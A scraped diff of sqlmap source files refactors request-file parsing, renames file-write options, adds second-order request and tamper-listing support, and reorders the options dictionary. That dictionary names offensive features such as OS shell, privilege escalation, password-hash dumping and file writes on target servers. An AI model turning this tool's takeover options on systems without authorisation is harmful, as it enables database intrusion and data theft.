SQLMAP = 2
API = 3
class NOTE:
FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"

View File

@@ -5,12 +5,10 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import binascii
import cookielib
import glob
import inspect
import logging
import httplib
import os
import random
import re
@@ -37,17 +35,15 @@ from lib.core.common import checkFile
from lib.core.common import dataToStdout
from lib.core.common import getPublicTypeMembers
from lib.core.common import getSafeExString
from lib.core.common import extractRegexResult
from lib.core.common import filterStringValue
from lib.core.common import findLocalPort
from lib.core.common import findPageForms
from lib.core.common import getConsoleWidth
from lib.core.common import getFileItems
from lib.core.common import getFileType
from lib.core.common import getUnicode
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import openFile
from lib.core.common import parseRequestFile
from lib.core.common import parseTargetDirect
from lib.core.common import parseTargetUrl
from lib.core.common import paths
@@ -58,6 +54,7 @@ from lib.core.common import resetCookieJar
from lib.core.common import runningAsAdmin
from lib.core.common import safeExpandUser
from lib.core.common import saveConfig
from lib.core.common import setColor
from lib.core.common import setOptimize
from lib.core.common import setPaths
from lib.core.common import singleTimeWarnMessage
@@ -100,10 +97,7 @@ from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.core.exception import SqlmapUserQuitException
from lib.core.log import FORMATTER
from lib.core.optiondict import optDict
from lib.core.settings import BURP_REQUEST_REGEX
from lib.core.settings import BURP_XML_HISTORY_REGEX
from lib.core.settings import CODECS_LIST_PAGE
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DBMS_ALIASES
from lib.core.settings import DEFAULT_PAGE_ENCODING
@@ -120,7 +114,6 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
from lib.core.settings import NULL
from lib.core.settings import PARAMETER_SPLITTING_REGEX
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
from lib.core.settings import SITE
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
@@ -132,7 +125,6 @@ from lib.core.settings import UNION_CHAR_REGEX
from lib.core.settings import UNKNOWN_DBMS_VERSION
from lib.core.settings import URI_INJECTABLE_REGEX
from lib.core.settings import VERSION_STRING
from lib.core.settings import WEBSCARAB_SPLITTER
from lib.core.threads import getCurrentThreadData
from lib.core.threads import setDaemon
from lib.core.update import update
@@ -174,201 +166,6 @@ try:
except NameError:
WindowsError = None
def _feedTargetsDict(reqFile, addedTargetUrls):
"""
Parses web scarab and burp logs and adds results to the target URL list
"""
def _parseWebScarabLog(content):
"""
Parses web scarab logs (POST method not supported)
"""
reqResList = content.split(WEBSCARAB_SPLITTER)
for request in reqResList:
url = extractRegexResult(r"URL: (?P<result>.+?)\n", request, re.I)
method = extractRegexResult(r"METHOD: (?P<result>.+?)\n", request, re.I)
cookie = extractRegexResult(r"COOKIE: (?P<result>.+?)\n", request, re.I)
if not method or not url:
logger.debug("not a valid WebScarab log data")
continue
if method.upper() == HTTPMETHOD.POST:
warnMsg = "POST requests from WebScarab logs aren't supported "
warnMsg += "as their body content is stored in separate files. "
warnMsg += "Nevertheless you can use -r to load them individually."
logger.warning(warnMsg)
continue
if not(conf.scope and not re.search(conf.scope, url, re.I)):
if not kb.targets or url not in addedTargetUrls:
kb.targets.add((url, method, None, cookie, None))
addedTargetUrls.add(url)
def _parseBurpLog(content):
"""
Parses burp logs
"""
if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
reqResList = []
for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
port, request = match.groups()
try:
request = request.decode("base64")
except binascii.Error:
continue
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
if _:
host = _.group(0).strip()
if not re.search(r":\d+\Z", host):
request = request.replace(host, "%s:%d" % (host, int(port)))
reqResList.append(request)
else:
reqResList = [content]
else:
reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S)
for match in reqResList:
request = match if isinstance(match, basestring) else match.group(0)
request = re.sub(r"\A[^\w]+", "", request)
schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S)
if schemePort:
scheme = schemePort.group(1)
port = schemePort.group(2)
request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip())
else:
scheme, port = None, None
if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M):
continue
if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
continue
getPostReq = False
url = None
host = None
method = None
data = None
cookie = None
params = False
newline = None
lines = request.split('\n')
headers = []
for index in xrange(len(lines)):
line = lines[index]
if not line.strip() and index == len(lines) - 1:
break
newline = "\r\n" if line.endswith('\r') else '\n'
line = line.strip('\r')
match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
data = ""
params = True
elif match:
method = match.group(1)
url = match.group(2)
if any(_ in line for _ in ('?', '=', kb.customInjectionMark)):
params = True
getPostReq = True
# POST parameters
elif data is not None and params:
data += "%s%s" % (line, newline)
# GET parameters
elif "?" in line and "=" in line and ": " not in line:
params = True
# Headers
elif re.search(r"\A\S+:", line):
key, value = line.split(":", 1)
value = value.strip().replace("\r", "").replace("\n", "")
# Cookie and Host headers
if key.upper() == HTTP_HEADER.COOKIE.upper():
cookie = value
elif key.upper() == HTTP_HEADER.HOST.upper():
if '://' in value:
scheme, value = value.split('://')[:2]
splitValue = value.split(":")
host = splitValue[0]
if len(splitValue) > 1:
port = filterStringValue(splitValue[1], "[0-9]")
# Avoid to add a static content length header to
# headers and consider the following lines as
# POSTed data
if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
params = True
# Avoid proxy and connection type related headers
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
headers.append((getUnicode(key), getUnicode(value)))
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
params = True
data = data.rstrip("\r\n") if data else data
if getPostReq and (params or cookie):
if not port and isinstance(scheme, basestring) and scheme.lower() == "https":
port = "443"
elif not scheme and port == "443":
scheme = "https"
if conf.forceSSL:
scheme = "https"
port = port or "443"
if not host:
errMsg = "invalid format of a request file"
raise SqlmapSyntaxException, errMsg
if not url.startswith("http"):
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
scheme = None
port = None
if not(conf.scope and not re.search(conf.scope, url, re.I)):
if not kb.targets or url not in addedTargetUrls:
kb.targets.add((url, conf.method or method, data, cookie, tuple(headers)))
addedTargetUrls.add(url)
checkFile(reqFile)
try:
with openFile(reqFile, "rb") as f:
content = f.read()
except (IOError, OSError, MemoryError), ex:
errMsg = "something went wrong while trying "
errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
if conf.scope:
logger.info("using regular expression '%s' for filtering targets" % conf.scope)
_parseBurpLog(content)
_parseWebScarabLog(content)
if not addedTargetUrls:
errMsg = "unable to find usable request(s) "
errMsg += "in provided file ('%s')" % reqFile
raise SqlmapGenericException(errMsg)
def _loadQueries():
"""
Loads queries from 'xml/queries.xml' file.
@@ -402,7 +199,7 @@ def _loadQueries():
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
raise SqlmapInstallationException(errMsg)
for node in tree.findall("*"):
queries[node.attrib['value']] = iterate(node)
@@ -414,7 +211,7 @@ def _setMultipleTargets():
"""
initialTargetsCount = len(kb.targets)
addedTargetUrls = set()
seen = set()
if not conf.logFile:
return
@@ -427,7 +224,11 @@ def _setMultipleTargets():
raise SqlmapFilePathException(errMsg)
if os.path.isfile(conf.logFile):
_feedTargetsDict(conf.logFile, addedTargetUrls)
for target in parseRequestFile(conf.logFile):
url = target[0]
if url not in seen:
kb.targets.add(target)
seen.add(url)
elif os.path.isdir(conf.logFile):
files = os.listdir(conf.logFile)
@@ -437,7 +238,11 @@ def _setMultipleTargets():
if not re.search(r"([\d]+)\-request", reqFile):
continue
_feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls)
for target in parseRequestFile(os.path.join(conf.logFile, reqFile)):
url = target[0]
if url not in seen:
kb.targets.add(target)
seen.add(url)
else:
errMsg = "the specified list of targets is not a file "
@@ -478,22 +283,37 @@ def _setRequestFromFile():
textual file, parses it and saves the information into the knowledge base.
"""
if not conf.requestFile:
return
if conf.requestFile:
conf.requestFile = safeExpandUser(conf.requestFile)
seen = set()
addedTargetUrls = set()
if not os.path.isfile(conf.requestFile):
errMsg = "specified HTTP request file '%s' " % conf.requestFile
errMsg += "does not exist"
raise SqlmapFilePathException(errMsg)
conf.requestFile = safeExpandUser(conf.requestFile)
infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
logger.info(infoMsg)
if not os.path.isfile(conf.requestFile):
errMsg = "specified HTTP request file '%s' " % conf.requestFile
errMsg += "does not exist"
raise SqlmapFilePathException(errMsg)
for target in parseRequestFile(conf.requestFile):
url = target[0]
if url not in seen:
kb.targets.add(target)
seen.add(url)
infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
logger.info(infoMsg)
if conf.secondReq:
conf.secondReq = safeExpandUser(conf.secondReq)
_feedTargetsDict(conf.requestFile, addedTargetUrls)
if not os.path.isfile(conf.secondReq):
errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
errMsg += "does not exist"
raise SqlmapFilePathException(errMsg)
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
logger.info(infoMsg)
target = parseRequestFile(conf.secondReq, False).next()
kb.secondReq = target
def _setCrawler():
if not conf.crawlDepth:
@@ -687,7 +507,7 @@ def _setMetasploit():
if IS_WIN:
try:
import win32file
__import__("win32file")
except ImportError:
errMsg = "sqlmap requires third-party module 'pywin32' "
errMsg += "in order to use Metasploit functionalities on "
@@ -700,7 +520,7 @@ def _setMetasploit():
retVal = None
try:
from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
from _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
_ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
_ = OpenKey(_, key)
retVal = QueryValueEx(_, value)[0]
@@ -788,22 +608,22 @@ def _setMetasploit():
raise SqlmapFilePathException(errMsg)
def _setWriteFile():
if not conf.wFile:
if not conf.fileWrite:
return
debugMsg = "setting the write file functionality"
logger.debug(debugMsg)
if not os.path.exists(conf.wFile):
errMsg = "the provided local file '%s' does not exist" % conf.wFile
if not os.path.exists(conf.fileWrite):
errMsg = "the provided local file '%s' does not exist" % conf.fileWrite
raise SqlmapFilePathException(errMsg)
if not conf.dFile:
if not conf.fileDest:
errMsg = "you did not provide the back-end DBMS absolute path "
errMsg += "where you want to write the local file '%s'" % conf.wFile
errMsg += "where you want to write the local file '%s'" % conf.fileWrite
raise SqlmapMissingMandatoryOptionException(errMsg)
conf.wFileType = getFileType(conf.wFile)
conf.fileWriteType = getFileType(conf.fileWrite)
def _setOS():
"""
@@ -880,6 +700,22 @@ def _setDBMS():
break
def _listTamperingFunctions():
"""
Lists available tamper functions
"""
if conf.listTampers:
infoMsg = "listing available tamper scripts\n"
logger.info(infoMsg)
for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))):
content = openFile(script, "rb").read()
match = re.search(r'(?s)__priority__.+"""(.+)"""', content)
if match:
comment = match.group(1).strip()
dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip())))
def _setTamperingFunctions():
"""
Loads tampering functions from given script(s)
@@ -918,7 +754,7 @@ def _setTamperingFunctions():
dirname, filename = os.path.split(script)
dirname = os.path.abspath(dirname)
infoMsg = "loading tamper script '%s'" % filename[:-3]
infoMsg = "loading tamper module '%s'" % filename[:-3]
logger.info(infoMsg)
if not os.path.exists(os.path.join(dirname, "__init__.py")):
@@ -931,8 +767,8 @@ def _setTamperingFunctions():
try:
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
except (ImportError, SyntaxError), ex:
raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
except Exception, ex:
raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
@@ -962,7 +798,12 @@ def _setTamperingFunctions():
break
elif name == "dependencies":
function()
try:
function()
except Exception, ex:
errMsg = "error occurred while checking dependencies "
errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex))
raise SqlmapGenericException(errMsg)
if not found:
errMsg = "missing function 'tamper(payload, **kwargs)' "
@@ -1046,7 +887,7 @@ def _setSocketPreConnect():
if conf.disablePrecon:
return
def _():
def _thread():
while kb.get("threadContinue") and not conf.get("disablePrecon"):
try:
for key in socket._ready:
@@ -1078,6 +919,7 @@ def _setSocketPreConnect():
break
else:
try:
candidate.shutdown(socket.SHUT_RDWR)
candidate.close()
except socket.error:
pass
@@ -1090,7 +932,7 @@ def _setSocketPreConnect():
socket.socket._connect = socket.socket.connect
socket.socket.connect = connect
thread = threading.Thread(target=_)
thread = threading.Thread(target=_thread)
setDaemon(thread)
thread.start()
@@ -1127,7 +969,7 @@ def _setHTTPHandlers():
_ = urlparse.urlsplit(conf.proxy)
except Exception, ex:
errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
raise SqlmapSyntaxException, errMsg
raise SqlmapSyntaxException(errMsg)
hostnamePort = _.netloc.split(":")
@@ -1254,7 +1096,7 @@ def _setSafeVisit():
kb.safeReq.post = None
else:
errMsg = "invalid format of a safe request file"
raise SqlmapSyntaxException, errMsg
raise SqlmapSyntaxException(errMsg)
else:
if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
if ":443/" in conf.safeUrl:
@@ -1579,12 +1421,12 @@ def _createTemporaryDirectory():
except (OSError, IOError), ex:
errMsg = "there has been a problem while accessing "
errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
raise SqlmapSystemException, errMsg
raise SqlmapSystemException(errMsg)
else:
try:
if not os.path.isdir(tempfile.gettempdir()):
os.makedirs(tempfile.gettempdir())
except (OSError, IOError, WindowsError), ex:
except Exception, ex:
warnMsg = "there has been a problem while accessing "
warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
warnMsg += "make sure that there is enough disk space left. If problem persists, "
@@ -1595,7 +1437,7 @@ def _createTemporaryDirectory():
if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
try:
tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
except (OSError, IOError, WindowsError):
except:
tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid()))
kb.tempDir = tempfile.tempdir
@@ -1603,10 +1445,10 @@ def _createTemporaryDirectory():
if not os.path.isdir(tempfile.tempdir):
try:
os.makedirs(tempfile.tempdir)
except (OSError, IOError, WindowsError), ex:
except Exception, ex:
errMsg = "there has been a problem while setting "
errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
raise SqlmapSystemException, errMsg
raise SqlmapSystemException(errMsg)
def _cleanupOptions():
"""
@@ -1647,7 +1489,10 @@ def _cleanupOptions():
conf.rParam = []
if conf.paramDel and '\\' in conf.paramDel:
conf.paramDel = conf.paramDel.decode("string_escape")
try:
conf.paramDel = conf.paramDel.decode("string_escape")
except ValueError:
pass
if conf.skip:
conf.skip = conf.skip.replace(" ", "")
@@ -1664,14 +1509,14 @@ def _cleanupOptions():
if conf.url:
conf.url = conf.url.strip()
if conf.rFile:
conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile))
if conf.fileRead:
conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead))
if conf.wFile:
conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile))
if conf.fileWrite:
conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite))
if conf.dFile:
conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile))
if conf.fileDest:
conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
@@ -1713,7 +1558,7 @@ def _cleanupOptions():
if conf.testFilter:
conf.testFilter = conf.testFilter.strip('*+')
conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter)
conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter)
try:
re.compile(conf.testFilter)
@@ -1722,7 +1567,7 @@ def _cleanupOptions():
if conf.testSkip:
conf.testSkip = conf.testSkip.strip('*+')
conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip)
conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip)
try:
re.compile(conf.testSkip)
@@ -1784,8 +1629,8 @@ def _cleanupOptions():
if conf.col:
conf.col = re.sub(r"\s*,\s*", ',', conf.col)
if conf.excludeCol:
conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol)
if conf.exclude:
conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
if conf.binaryFields:
conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
@@ -1793,6 +1638,9 @@ def _cleanupOptions():
if any((conf.proxy, conf.proxyFile, conf.tor)):
conf.disablePrecon = True
if conf.dummy:
conf.batch = True
threadData = getCurrentThreadData()
threadData.reset()
@@ -1807,23 +1655,13 @@ def _cleanupEnvironment():
if hasattr(socket, "_ready"):
socket._ready.clear()
def _dirtyPatches():
def _purge():
"""
Place for "dirty" Python related patches
Safely removes (purges) sqlmap data directory.
"""
httplib._MAXLINE = 1 * 1024 * 1024 # accept overly long result lines (e.g. SQLi results in HTTP header responses)
if IS_WIN:
from thirdparty.wininetpton import win_inet_pton # add support for inet_pton() on Windows OS
def _purgeOutput():
"""
Safely removes (purges) output directory.
"""
if conf.purgeOutput:
purge(paths.SQLMAP_OUTPUT_PATH)
if conf.purge:
purge(paths.SQLMAP_HOME_PATH)
def _setConfAttributes():
"""
@@ -1861,7 +1699,7 @@ def _setConfAttributes():
conf.tests = []
conf.trafficFP = None
conf.HARCollectorFactory = None
conf.wFileType = None
conf.fileWriteType = None
def _setKnowledgeBaseAttributes(flushAll=True):
"""
@@ -1941,6 +1779,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.forcePartialUnion = False
kb.forceWhere = None
kb.futileUnion = None
kb.heavilyDynamic = False
kb.headersFp = {}
kb.heuristicDbms = None
kb.heuristicExtendedDbms = None
@@ -2012,6 +1851,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.rowXmlMode = False
kb.safeCharEncode = False
kb.safeReq = AttribDict()
kb.secondReq = None
kb.singleLogFlags = set()
kb.skipSeqMatcher = False
kb.reduceTests = None
@@ -2034,6 +1874,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.uChar = NULL
kb.unionDuplicates = False
kb.wafSpecificResponse = None
kb.wizardMode = False
kb.xpCmdshellAvailable = False
if flushAll:
@@ -2115,6 +1956,8 @@ def _useWizardInterface():
dataToStdout("\nsqlmap is running, please wait..\n\n")
kb.wizardMode = True
def _saveConfig():
"""
Saves the command line options to a sqlmap configuration INI file
@@ -2309,7 +2152,6 @@ def _setTorHttpProxySettings():
errMsg = "can't establish connection with the Tor HTTP proxy. "
errMsg += "Please make sure that you have Tor (bundle) installed and setup "
errMsg += "so you could be able to successfully use switch '--tor' "
raise SqlmapConnectionException(errMsg)
if not conf.checkTor:
@@ -2330,7 +2172,6 @@ def _setTorSocksProxySettings():
errMsg = "can't establish connection with the Tor SOCKS proxy. "
errMsg += "Please make sure that you have Tor service installed and setup "
errMsg += "so you could be able to successfully use switch '--tor' "
raise SqlmapConnectionException(errMsg)
# SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
@@ -2343,7 +2184,7 @@ def _checkWebSocket():
from websocket import ABNF
except ImportError:
errMsg = "sqlmap requires third-party module 'websocket-client' "
errMsg += "in order to use WebSocket funcionality"
errMsg += "in order to use WebSocket functionality"
raise SqlmapMissingDependence(errMsg)
def _checkTor():
@@ -2400,6 +2241,10 @@ def _basicOptionValidation():
errMsg = "switch '--eta' is incompatible with option '-v'"
raise SqlmapSyntaxException(errMsg)
if conf.secondUrl and conf.secondReq:
errMsg = "option '--second-url' is incompatible with option '--second-req')"
raise SqlmapSyntaxException(errMsg)
if conf.direct and conf.url:
errMsg = "option '-d' is incompatible with option '-u' ('--url')"
raise SqlmapSyntaxException(errMsg)
@@ -2535,11 +2380,11 @@ def _basicOptionValidation():
raise SqlmapSyntaxException(errMsg)
if conf.checkTor and not any((conf.tor, conf.proxy)):
errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)"
errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)"
raise SqlmapSyntaxException(errMsg)
if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
errMsg = "value for option '--tor-port' must be in range 0-65535"
errMsg = "value for option '--tor-port' must be in range [0, 65535]"
raise SqlmapSyntaxException(errMsg)
if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
@@ -2584,9 +2429,9 @@ def _basicOptionValidation():
if conf.encoding:
_ = checkCharEncoding(conf.encoding, False)
if _ is None:
errMsg = "unknown charset '%s'. Please visit " % conf.encoding
errMsg = "unknown encoding '%s'. Please visit " % conf.encoding
errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE
errMsg += "supported charsets"
errMsg += "supported encodings"
raise SqlmapSyntaxException(errMsg)
else:
conf.encoding = _
@@ -2622,8 +2467,7 @@ def init():
_setRequestFromFile()
_cleanupOptions()
_cleanupEnvironment()
_dirtyPatches()
_purgeOutput()
_purge()
_checkDependencies()
_createTemporaryDirectory()
_basicOptionValidation()
@@ -2632,6 +2476,7 @@ def init():
_setDNSServer()
_adjustLoggingFormatter()
_setMultipleTargets()
_listTamperingFunctions()
_setTamperingFunctions()
_setWafFunctions()
_setTrafficOutputFP()

View File

@@ -6,250 +6,254 @@ See the file 'LICENSE' for copying permission
"""
optDict = {
# Format:
# Family: { "parameter name": "parameter datatype" },
# Or:
# Family: { "parameter name": ("parameter datatype", "category name used for common outputs feature") },
"Target": {
"direct": "string",
"url": "string",
"logFile": "string",
"bulkFile": "string",
"requestFile": "string",
"sessionFile": "string",
"googleDork": "string",
"configFile": "string",
"sitemapUrl": "string",
},
# Family: {"parameter name": "parameter datatype"},
# --OR--
# Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")},
"Request": {
"method": "string",
"data": "string",
"paramDel": "string",
"cookie": "string",
"cookieDel": "string",
"loadCookies": "string",
"dropSetCookie": "boolean",
"agent": "string",
"randomAgent": "boolean",
"host": "string",
"referer": "string",
"headers": "string",
"authType": "string",
"authCred": "string",
"authFile": "string",
"ignoreCode": "integer",
"ignoreProxy": "boolean",
"ignoreRedirects": "boolean",
"ignoreTimeouts": "boolean",
"proxy": "string",
"proxyCred": "string",
"proxyFile": "string",
"tor": "boolean",
"torPort": "integer",
"torType": "string",
"checkTor": "boolean",
"delay": "float",
"timeout": "float",
"retries": "integer",
"rParam": "string",
"safeUrl": "string",
"safePost": "string",
"safeReqFile": "string",
"safeFreq": "integer",
"skipUrlEncode": "boolean",
"csrfToken": "string",
"csrfUrl": "string",
"forceSSL": "boolean",
"hpp": "boolean",
"evalCode": "string",
},
"Target": {
"direct": "string",
"url": "string",
"logFile": "string",
"bulkFile": "string",
"requestFile": "string",
"sessionFile": "string",
"googleDork": "string",
"configFile": "string",
"sitemapUrl": "string",
},
"Optimization": {
"optimize": "boolean",
"predictOutput": "boolean",
"keepAlive": "boolean",
"nullConnection": "boolean",
"threads": "integer",
},
"Request": {
"method": "string",
"data": "string",
"paramDel": "string",
"cookie": "string",
"cookieDel": "string",
"loadCookies": "string",
"dropSetCookie": "boolean",
"agent": "string",
"randomAgent": "boolean",
"host": "string",
"referer": "string",
"headers": "string",
"authType": "string",
"authCred": "string",
"authFile": "string",
"ignoreCode": "integer",
"ignoreProxy": "boolean",
"ignoreRedirects": "boolean",
"ignoreTimeouts": "boolean",
"proxy": "string",
"proxyCred": "string",
"proxyFile": "string",
"tor": "boolean",
"torPort": "integer",
"torType": "string",
"checkTor": "boolean",
"delay": "float",
"timeout": "float",
"retries": "integer",
"rParam": "string",
"safeUrl": "string",
"safePost": "string",
"safeReqFile": "string",
"safeFreq": "integer",
"skipUrlEncode": "boolean",
"csrfToken": "string",
"csrfUrl": "string",
"forceSSL": "boolean",
"hpp": "boolean",
"evalCode": "string",
},
"Injection": {
"testParameter": "string",
"skip": "string",
"skipStatic": "boolean",
"paramExclude": "string",
"dbms": "string",
"dbmsCred": "string",
"os": "string",
"invalidBignum": "boolean",
"invalidLogical": "boolean",
"invalidString": "boolean",
"noCast": "boolean",
"noEscape": "boolean",
"prefix": "string",
"suffix": "string",
"tamper": "string",
},
"Optimization": {
"optimize": "boolean",
"predictOutput": "boolean",
"keepAlive": "boolean",
"nullConnection": "boolean",
"threads": "integer",
},
"Detection": {
"level": "integer",
"risk": "integer",
"string": "string",
"notString": "string",
"regexp": "string",
"code": "integer",
"textOnly": "boolean",
"titles": "boolean",
},
"Injection": {
"testParameter": "string",
"skip": "string",
"skipStatic": "boolean",
"paramExclude": "string",
"dbms": "string",
"dbmsCred": "string",
"os": "string",
"invalidBignum": "boolean",
"invalidLogical": "boolean",
"invalidString": "boolean",
"noCast": "boolean",
"noEscape": "boolean",
"prefix": "string",
"suffix": "string",
"tamper": "string",
},
"Techniques": {
"tech": "string",
"timeSec": "integer",
"uCols": "string",
"uChar": "string",
"uFrom": "string",
"dnsDomain": "string",
"secondOrder": "string",
},
"Detection": {
"level": "integer",
"risk": "integer",
"string": "string",
"notString": "string",
"regexp": "string",
"code": "integer",
"textOnly": "boolean",
"titles": "boolean",
},
"Fingerprint": {
"extensiveFp": "boolean",
},
"Techniques": {
"tech": "string",
"timeSec": "integer",
"uCols": "string",
"uChar": "string",
"uFrom": "string",
"dnsDomain": "string",
"secondUrl": "string",
"secondReq": "string",
},
"Enumeration": {
"getAll": "boolean",
"getBanner": ("boolean", "Banners"),
"getCurrentUser": ("boolean", "Users"),
"getCurrentDb": ("boolean", "Databases"),
"getHostname": "boolean",
"isDba": "boolean",
"getUsers": ("boolean", "Users"),
"getPasswordHashes": ("boolean", "Passwords"),
"getPrivileges": ("boolean", "Privileges"),
"getRoles": ("boolean", "Roles"),
"getDbs": ("boolean", "Databases"),
"getTables": ("boolean", "Tables"),
"getColumns": ("boolean", "Columns"),
"getSchema": "boolean",
"getCount": "boolean",
"dumpTable": "boolean",
"dumpAll": "boolean",
"search": "boolean",
"getComments": "boolean",
"db": "string",
"tbl": "string",
"col": "string",
"excludeCol": "string",
"pivotColumn": "string",
"dumpWhere": "string",
"user": "string",
"excludeSysDbs": "boolean",
"limitStart": "integer",
"limitStop": "integer",
"firstChar": "integer",
"lastChar": "integer",
"query": "string",
"sqlShell": "boolean",
"sqlFile": "string",
},
"Fingerprint": {
"extensiveFp": "boolean",
},
"Brute": {
"commonTables": "boolean",
"commonColumns": "boolean",
},
"Enumeration": {
"getAll": "boolean",
"getBanner": ("boolean", "Banners"),
"getCurrentUser": ("boolean", "Users"),
"getCurrentDb": ("boolean", "Databases"),
"getHostname": "boolean",
"isDba": "boolean",
"getUsers": ("boolean", "Users"),
"getPasswordHashes": ("boolean", "Passwords"),
"getPrivileges": ("boolean", "Privileges"),
"getRoles": ("boolean", "Roles"),
"getDbs": ("boolean", "Databases"),
"getTables": ("boolean", "Tables"),
"getColumns": ("boolean", "Columns"),
"getSchema": "boolean",
"getCount": "boolean",
"dumpTable": "boolean",
"dumpAll": "boolean",
"search": "boolean",
"getComments": "boolean",
"db": "string",
"tbl": "string",
"col": "string",
"exclude": "string",
"pivotColumn": "string",
"dumpWhere": "string",
"user": "string",
"excludeSysDbs": "boolean",
"limitStart": "integer",
"limitStop": "integer",
"firstChar": "integer",
"lastChar": "integer",
"query": "string",
"sqlShell": "boolean",
"sqlFile": "string",
},
"User-defined function": {
"udfInject": "boolean",
"shLib": "string",
},
"Brute": {
"commonTables": "boolean",
"commonColumns": "boolean",
},
"File system": {
"rFile": "string",
"wFile": "string",
"dFile": "string",
},
"User-defined function": {
"udfInject": "boolean",
"shLib": "string",
},
"Takeover": {
"osCmd": "string",
"osShell": "boolean",
"osPwn": "boolean",
"osSmb": "boolean",
"osBof": "boolean",
"privEsc": "boolean",
"msfPath": "string",
"tmpPath": "string",
},
